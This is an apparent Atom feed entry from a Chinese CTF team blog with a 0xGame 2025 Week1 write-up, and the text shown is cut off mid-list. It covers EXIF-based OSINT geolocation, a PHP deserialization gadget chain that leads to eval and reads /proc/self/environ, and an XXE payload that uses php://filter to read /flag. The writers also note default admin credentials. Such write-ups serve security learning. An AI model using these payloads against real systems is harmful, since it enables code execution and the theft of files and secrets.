<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="https://NormalSubgroup.cauchy.top/feed_style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh-Hans">
    <tabi:metadata xmlns:tabi="https://github.com/welpo/tabi">
        <tabi:base_url>https:&#x2F;&#x2F;NormalSubgroup.cauchy.top</tabi:base_url>
        <tabi:separator>
            •
        </tabi:separator>
        <tabi:about_feeds>这是Web Feed，又称为Atom Feed，把现在的网址复制到新闻阅读器即可订阅本站文章。造访「About Feeds」来了解更多资讯。</tabi:about_feeds>
        <tabi:visit_the_site>造访网站</tabi:visit_the_site>
        <tabi:recent_posts>近期文章</tabi:recent_posts>
        <tabi:last_updated_on>更新于 $DATE</tabi:last_updated_on>
        <tabi:default_theme>light</tabi:default_theme>
        <tabi:post_listing_date>date</tabi:post_listing_date>
        <tabi:current_section>CTF</tabi:current_section>
    </tabi:metadata><link rel="extra-stylesheet" href="https://NormalSubgroup.cauchy.top/skins/sakura.css?h=2d9c69af51135683e3bd" /><title>正规子群 - CTF</title>
        <subtitle>Normal SubGroup team blog</subtitle>
    <link href="https://NormalSubgroup.cauchy.top/tags/ctf/atom.xml" rel="self" type="application/atom+xml"/>
    <link href="https://NormalSubgroup.cauchy.top/tags/ctf/" rel="alternate" type="text/html"/>
    <generator uri="https://www.getzola.org/">Zola</generator><updated>2025-10-10T00:00:00+00:00</updated><id>https://NormalSubgroup.cauchy.top/tags/ctf/atom.xml</id><entry xml:lang="zh-Hans">
        <title>0xGame 2025 Week1 WriteUp</title>
        <published>2025-10-10T00:00:00+00:00</published>
        <updated>2025-10-10T00:00:00+00:00</updated>
        <author>
            <name>Normal SubGroup</name>
        </author>
        <link rel="alternate" href="https://NormalSubgroup.cauchy.top/blog/game0x2025w1/" type="text/html"/>
        <id>https://NormalSubgroup.cauchy.top/blog/game0x2025w1/</id>
        
            <content type="html">&lt;h1 id=&quot;0xgame-2025-week1-writeup&quot;&gt;0xGame 2025 Week1 Writeup&lt;&#x2F;h1&gt;
&lt;blockquote&gt;
&lt;p&gt;by 正规子群&lt;&#x2F;p&gt;
&lt;p&gt;https:&#x2F;&#x2F;github.com&#x2F;n-WN&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h2 id=&quot;osint&quot;&gt;OSINT&lt;&#x2F;h2&gt;
&lt;h4 id=&quot;week1-osint&quot;&gt;Week1 OSINT&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;分类：OSINT &#x2F; 图片取证&lt;&#x2F;li&gt;
&lt;li&gt;难度：简单&lt;&#x2F;li&gt;
&lt;li&gt;Flag 规范：&lt;code&gt;0xGame{山的名字_纬度_经度}&lt;&#x2F;code&gt;，经纬度保留四位小数且不进位（截断）。&lt;&#x2F;li&gt;
&lt;li&gt;我的答案：&lt;code&gt;0xGame{大室山_32.1191_118.9265}&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ti-mu-yu-fu-jian&quot;&gt;题目与附件&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;task&#x2F;OSINT1-1.jpg&lt;&#x2F;code&gt;：识别图片中的山名。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;task&#x2F;OSINT1-2.jpg&lt;&#x2F;code&gt;：从图片（或其 EXIF）推导拍摄点经纬度。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;jie-ti-si-lu&quot;&gt;解题思路&lt;&#x2F;h4&gt;
&lt;h5 id=&quot;1-shan-ming-shi-bie-1-1&quot;&gt;1. 山名识别（1-1）&lt;&#x2F;h5&gt;
&lt;p&gt;观察 &lt;code&gt;OSINT1-1.jpg&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;广阔光滑的绿色火山锥形地貌；&lt;&#x2F;li&gt;
&lt;li&gt;山脊上环形步道，人流密集；&lt;&#x2F;li&gt;
&lt;li&gt;近处台阶与护栏沿坡而上；&lt;&#x2F;li&gt;
&lt;li&gt;山脊线上有一个醒目的红色鸟居；&lt;&#x2F;li&gt;
&lt;li&gt;远处可见大海与离岸岛屿轮廓。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这些要素与日本静冈县伊东市著名的火山渣锥「大室山」（$\text{Oomuroyama}$）高度吻合。该地常被中文游客称为“抹茶山”，因其夏季整座山被绿色草地覆盖，外形如抹茶蛋糕。网上实景图亦可见山脊步道与鸟居，和本题图像构图相符。&lt;&#x2F;p&gt;
&lt;p&gt;因此山名取为：&lt;code&gt;大室山&lt;&#x2F;code&gt;（俗称“抹茶山”）。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;2-exif-ding-wei-1-2&quot;&gt;2. EXIF 定位（1-2）&lt;&#x2F;h5&gt;
&lt;p&gt;我们对 &lt;code&gt;OSINT1-2.jpg&lt;&#x2F;code&gt; 提取 EXIF：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;exiftool&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -a -G1 -s task&#x2F;OSINT1-2.jpg&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; grep&lt;&#x2F;span&gt;&lt;span class=&quot;z-string z-punctuation z-definition z-string&quot;&gt; -E &amp;#39;GPS(Latitude|Longitude|Altitude|Date|ImgDirection)&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;得到（关键字段）：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;GPSLatitude = 32 deg 7&#x27; 8.98&quot;&lt;&#x2F;code&gt;（北纬）&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;GPSLongitude = 118 deg 55&#x27; 35.69&quot;&lt;&#x2F;code&gt;（东经）&lt;&#x2F;li&gt;
&lt;li&gt;同时包含 &lt;code&gt;GPSAltitude&lt;&#x2F;code&gt; 与 &lt;code&gt;GPSDateStamp&lt;&#x2F;code&gt; 等无关字段&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;将度分秒换算为十进制度：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\begin{aligned}
\varphi_{\text{deg}}&amp;amp;=d+m&#x2F;60+s&#x2F;3600,\
\lambda_{\text{deg}}&amp;amp;=d+m&#x2F;60+s&#x2F;3600.
\end{aligned}
$$&lt;&#x2F;p&gt;
&lt;p&gt;代入数值：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\begin{aligned}
\varphi_{\text{deg}}&amp;amp;=32+\tfrac{7}{60}+\tfrac{8.98}{3600}=32.119161\dots,\
\lambda_{\text{deg}}&amp;amp;=118+\tfrac{55}{60}+\tfrac{35.69}{3600}=118.926580\dots.
\end{aligned}
$$&lt;&#x2F;p&gt;
&lt;p&gt;“不进位保留四位小数” 等价于向下截断至 $10^{-4}$ 位：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\operatorname{trunc}_{4}(x)=\left\lfloor x\cdot 10^4 \right\rfloor &#x2F; 10^4.
$$&lt;&#x2F;p&gt;
&lt;p&gt;因此：&lt;&#x2F;p&gt;
&lt;p&gt;$$
\varphi=32.1191,\qquad \lambda=118.9265.
$$&lt;&#x2F;p&gt;
&lt;p&gt;最终 flag：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0xGame{大室山_32.1191_118.9265}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;备注：第二张图为室内拍摄的卡通头套，但其 EXIF 保留了拍摄位置坐标，这是 OSINT 中常见的“元数据泄露”。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;若需验证读取到的 DMS 值，可使用：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;exiftool&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; -a -G1 -s task&#x2F;OSINT1-2.jpg&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword z-operator&quot;&gt; |&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt; rg&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt; &amp;#39;GPS(Latitude|Longitude)&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;&lt;h4 id=&quot;chang-shi-yu-keng-dian-ji-lu&quot;&gt;尝试与坑点记录&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;最初将山名写成“抹茶山”，被判错；复核后确定其正式名为“&lt;strong&gt;大室山&lt;&#x2F;strong&gt;”。&lt;&#x2F;li&gt;
&lt;li&gt;经纬度保留四位小数需“&lt;strong&gt;不进位&lt;&#x2F;strong&gt;”：不能四舍五入，需向下截断；本仓库脚本以 $\lfloor x\cdot 10^4\rfloor&#x2F;10^4$ 实现。&lt;&#x2F;li&gt;
&lt;li&gt;若图片被平台二次压缩，有可能丢失 EXIF；本题附件保留了 GPS 字段，故不受影响。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;can-kao-yao-dian-zhi-shi-xing&quot;&gt;参考要点（知识性）&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;大室山（Oomuroyama）：伊豆半岛中东部火山渣锥，山体呈圆锥形，夏季满山翠绿，山顶火口周围有步道与神社鸟居，可眺望相模湾与伊豆大岛。&lt;&#x2F;li&gt;
&lt;li&gt;EXIF GPS：常以 DMS 存储，含 &lt;code&gt;LatitudeRef&lt;&#x2F;code&gt; 与 &lt;code&gt;LongitudeRef&lt;&#x2F;code&gt;，需在南纬&#x2F;西经时赋负号。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h2 id=&quot;web&quot;&gt;Web&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;rubbish-unser-writeup&quot;&gt;Rubbish_Unser Writeup&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame 2025 Week1 Web（作者 PureStream）&lt;&#x2F;li&gt;
&lt;li&gt;题目：Rubbish_Unser（easy，710 分）&lt;&#x2F;li&gt;
&lt;li&gt;地址：&lt;code&gt;http:&#x2F;&#x2F;8000-29b93fdb-616e-477c-a19f-27457c7d6042.challenge.ctfplus.cn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;dai-ma-gai-lan&quot;&gt;代码概览&lt;&#x2F;h4&gt;
&lt;p&gt;页面直接 &lt;code&gt;highlight_file(__FILE__)&lt;&#x2F;code&gt;，随后仅在收到 &lt;code&gt;$_GET[&#x27;0xGame&#x27;]&lt;&#x2F;code&gt; 时执行 &lt;code&gt;unserialize()&lt;&#x2F;code&gt; 并抛出异常。脚本中预置了多个带魔术方法的类：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;ZZZ::__destruct()&lt;&#x2F;code&gt;：在析构时输出 &lt;code&gt;&quot;破绽，在这里！&quot; . $this-&amp;gt;yuzuha&lt;&#x2F;code&gt;；若 &lt;code&gt;$yuzuha&lt;&#x2F;code&gt; 是对象，则触发其 &lt;code&gt;__toString()&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Mi::__toString()&lt;&#x2F;code&gt;：尝试调用 &lt;code&gt;$this-&amp;gt;game-&amp;gt;tks()&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;GI::__call()&lt;&#x2F;code&gt;：拦截未定义方法，取 &lt;code&gt;$this-&amp;gt;furina()&lt;&#x2F;code&gt;（可调用对象）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;HI3rd::__invoke()&lt;&#x2F;code&gt;：若满足 &lt;code&gt;$kiana !== $RaidenMei&lt;&#x2F;code&gt; 且 &lt;code&gt;md5&#x2F;sha1&lt;&#x2F;code&gt; 完全相等，则返回 &lt;code&gt;$this-&amp;gt;guanxing-&amp;gt;Elysia&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;HSR::__get()&lt;&#x2F;code&gt;：访问不存在属性时取 &lt;code&gt;$this-&amp;gt;robin&lt;&#x2F;code&gt; 并 &lt;code&gt;eval()&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;因此可以构造以下调用链：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;ZZZ-&amp;gt;__destruct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  -&amp;gt; Mi::__toString&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;      -&amp;gt; GI::__call (tks)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;          -&amp;gt; HI3rd::__invoke&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;              -&amp;gt; HSR::__get(&amp;quot;Elysia&amp;quot;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;                  -&amp;gt; eval($this-&amp;gt;robin)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;只需把 &lt;code&gt;$robin&lt;&#x2F;code&gt; 设置为任意字符串即可执行任意 PHP 代码。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;ha-xi-yue-shu-rao-guo&quot;&gt;哈希约束绕过&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;HI3rd::__invoke()&lt;&#x2F;code&gt; 中的判断要求：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$kiana !== $RaidenMei&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;md5($kiana) === md5($RaidenMei)&lt;&#x2F;code&gt;；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;sha1($kiana) === sha1($RaidenMei)&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;利用 PHP 的类型转换即可轻松满足：令 &lt;code&gt;$kiana = 0&lt;&#x2F;code&gt;（整型）与 &lt;code&gt;$RaidenMei = &quot;0&quot;&lt;&#x2F;code&gt;（字符串）。两者严格不相等（类型不同），但在 &lt;code&gt;md5&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;sha1&lt;&#x2F;code&gt; 时都会被转成字符串 &lt;code&gt;&quot;0&quot;&lt;&#x2F;code&gt;，哈希值完全一致。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;payload-she-ji&quot;&gt;Payload 设计&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;构造对象：
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HSR::$robin = &#x27;echo file_get_contents(&quot;&#x2F;proc&#x2F;self&#x2F;environ&quot;);&#x27;&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;HI3rd&lt;&#x2F;code&gt; 同时持有 &lt;code&gt;$kiana = 0&lt;&#x2F;code&gt;、&lt;code&gt;$RaidenMei = &quot;0&quot;&lt;&#x2F;code&gt;、&lt;code&gt;$guanxing = $hsr&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;GI::$furina = $hi3rd&lt;&#x2F;code&gt;（可调用对象）。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;Mi::$game = $gi&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;ZZZ::$yuzuha = $mi&lt;&#x2F;code&gt;（析构时触发整条链）。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;序列化得到：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;O:3:&amp;quot;ZZZ&amp;quot;:1:{s:6:&amp;quot;yuzuha&amp;quot;;O:2:&amp;quot;Mi&amp;quot;:1:{s:4:&amp;quot;game&amp;quot;;O:2:&amp;quot;GI&amp;quot;:1:{&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  s:6:&amp;quot;furina&amp;quot;;O:5:&amp;quot;HI3rd&amp;quot;:3:{s:9:&amp;quot;RaidenMei&amp;quot;;s:1:&amp;quot;0&amp;quot;;s:5:&amp;quot;kiana&amp;quot;;i:0;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  s:8:&amp;quot;guanxing&amp;quot;;O:3:&amp;quot;HSR&amp;quot;:1:{s:5:&amp;quot;robin&amp;quot;;s:45:&amp;quot;echo file_get_contents(&amp;quot;&#x2F;proc&#x2F;self&#x2F;environ&amp;quot;);&amp;quot;;}}}}}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;访问 &lt;code&gt;&#x2F;?0xGame=&amp;lt;序列化字符串&amp;gt;&lt;&#x2F;code&gt;，链条展开后 &lt;code&gt;eval&lt;&#x2F;code&gt; 会打印 &lt;code&gt;environ&lt;&#x2F;code&gt;，其中包含 &lt;code&gt;flag=0xGame{Really_Rubbish_Unser!}&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;zi-dong-hua-jiao-ben&quot;&gt;自动化脚本&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;文件：&lt;code&gt;[0xGame2025]rubbish_unser&#x2F;solution&#x2F;solution.py&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;默认目标为正式容器，可通过 &lt;code&gt;BASE&lt;&#x2F;code&gt; 环境变量切换。&lt;&#x2F;li&gt;
&lt;li&gt;执行：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;shellscript&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-entity z-name z-function&quot;&gt;uv&lt;&#x2F;span&gt;&lt;span class=&quot;z-string&quot;&gt; run&lt;&#x2F;span&gt;&lt;span class=&quot;z-source&quot;&gt; [0xGame2025]rubbish_unser&#x2F;solution&#x2F;solution.py&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;脚本会自动构造 payload，触发链条，并从响应中的环境变量提取 flag。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;flag&quot;&gt;Flag&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$0xGame{Really_Rubbish_Unser!}$&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;fu-pan&quot;&gt;复盘&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;题目鼓励串联“游戏”类（ZZZ&#x2F;HSR&#x2F;HI3rd&#x2F;GI&#x2F;Mi）构成漏洞链，是典型的 PHP 对象注入练习。&lt;&#x2F;li&gt;
&lt;li&gt;使用 &lt;code&gt;0&lt;&#x2F;code&gt; 与 &lt;code&gt;&quot;0&quot;&lt;&#x2F;code&gt; 绕过 &lt;code&gt;md5&lt;&#x2F;code&gt;&#x2F;&lt;code&gt;sha1&lt;&#x2F;code&gt; 的同时，不需要预制碰撞，思路清晰直接。&lt;&#x2F;li&gt;
&lt;li&gt;环境变量泄漏是获取 flag 的最快方式；若需进一步利用，还能执行任意命令、读取任意文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;h3 id=&quot;liu-yan-ban-revenge-writeup&quot;&gt;留言板_reVenge Writeup&lt;&#x2F;h3&gt;
&lt;h4 id=&quot;ti-mu-xin-xi-1&quot;&gt;题目信息&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;比赛：0xGame 2025 Week1 Web（作者 PureStream）&lt;&#x2F;li&gt;
&lt;li&gt;题目：留言板_reVenge（353 分，noob）&lt;&#x2F;li&gt;
&lt;li&gt;容器：&lt;code&gt;http:&#x2F;&#x2F;8000-8d86851f-921f-43e7-aa4a-bb059a158d51.challenge.ctfplus.cn&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;ru-kou-zhen-cha&quot;&gt;入口侦察&lt;&#x2F;h4&gt;
&lt;ul&gt;
&lt;li&gt;首页只露出登录界面 &lt;code&gt;login.php&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;尝试弱口令后发现存在默认凭据 &lt;code&gt;admin &#x2F; admin123&lt;&#x2F;code&gt;，登录成功会弹窗后跳转至 &lt;code&gt;xxxxmleee.php&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;实测直接访问 &lt;code&gt;xxxxmleee.php&lt;&#x2F;code&gt; 无需会话即可打开，页面是一个接收 XML 并回显解析结果的留言板，提示标题 “Ez_XXE”。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;lou-dong-fen-xi&quot;&gt;漏洞分析&lt;&#x2F;h4&gt;
&lt;p&gt;后台源码未公开，但通过交互可推断处理流程：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;POST&lt;&#x2F;code&gt; 时读取原始请求体并使用 &lt;code&gt;DOMDocument::loadXML()&lt;&#x2F;code&gt; 加载，随后 &lt;code&gt;simplexml_import_dom()&lt;&#x2F;code&gt; 转换，再把节点内容输出到页面；&lt;&#x2F;li&gt;
&lt;li&gt;未禁用外部实体（缺少 &lt;code&gt;LIBXML_NONET&lt;&#x2F;code&gt; &#x2F; &lt;code&gt;LIBXML_NOENT&lt;&#x2F;code&gt; 防护），因此存在 XXE；&lt;&#x2F;li&gt;
&lt;li&gt;直接把通用实体指向 &lt;code&gt;&#x2F;flag&lt;&#x2F;code&gt; 会触发 &lt;code&gt;Start tag expected&lt;&#x2F;code&gt; 警告 —— 因为外部实体被当作“已解析实体”，内容需要是合法的 XML 片段；&lt;&#x2F;li&gt;
&lt;li&gt;构造参数实体，在 DTD 外部子集中注入一个新的通用实体 &lt;code&gt;&amp;lt;data&amp;gt;%file;&amp;lt;&#x2F;data&amp;gt;&lt;&#x2F;code&gt;，用 &lt;code&gt;&amp;lt;data&amp;gt;...&amp;lt;&#x2F;data&amp;gt;&lt;&#x2F;code&gt; 包裹 Base64 后的 flag，即可满足 Well-formed 要求并顺利回显。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;li-yong-payload&quot;&gt;利用 payload&lt;&#x2F;h4&gt;
&lt;pre class=&quot;giallo z-code&quot;&gt;&lt;code data-lang=&quot;xml&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;lt;?&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;xml&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-other z-attribute-name&quot;&gt; version&lt;&#x2F;span&gt;&lt;span class=&quot;z-text&quot;&gt;=&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;1.0&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;?&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-keyword z-other z-doctype&quot;&gt;&amp;lt;!DOCTYPE&lt;&#x2F;span&gt;&lt;span class=&quot;z-text&quot;&gt; foo&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; [&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-keyword&quot;&gt;&amp;lt;!ENTITY&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; % &lt;&#x2F;span&gt;&lt;span class=&quot;z-text&quot;&gt;file&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; SYSTEM &lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;php:&#x2F;&#x2F;filter&#x2F;convert.base64-encode&#x2F;resource=&#x2F;flag&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag z-keyword&quot;&gt;&amp;lt;!ENTITY&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt; % &lt;&#x2F;span&gt;&lt;span class=&quot;z-text&quot;&gt;eval&lt;&#x2F;span&gt;&lt;span class=&quot;z-keyword&quot;&gt; SYSTEM &lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-string&quot;&gt;&amp;quot;data:&#x2F;&#x2F;text&#x2F;plain,%3C!ENTITY%20exfil%20%22&amp;lt;data&amp;gt;%25file;&amp;lt;&#x2F;data&amp;gt;%22%3E&amp;quot;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;%&lt;&#x2F;span&gt;&lt;span class=&quot;z-text&quot;&gt;eval&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation&quot;&gt;]&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;lt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;root&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-constant z-character z-entity z-xml&quot;&gt;&amp;amp;exfil;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;lt;&#x2F;&lt;&#x2F;span&gt;&lt;span class=&quot;z-entity z-name z-tag&quot;&gt;root&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-tag&quot;&gt;&amp;gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;%file&lt;&#x2F;code&gt; 参数实体拉取 &lt;code&gt;&#x2F;flag&lt;&#x2F;code&gt;，经过 &lt;code&gt;php:&#x2F;&#x2F;filter&lt;&#x2F;code&gt; 做 Base64 包装；&lt;&#x2F;li&gt;
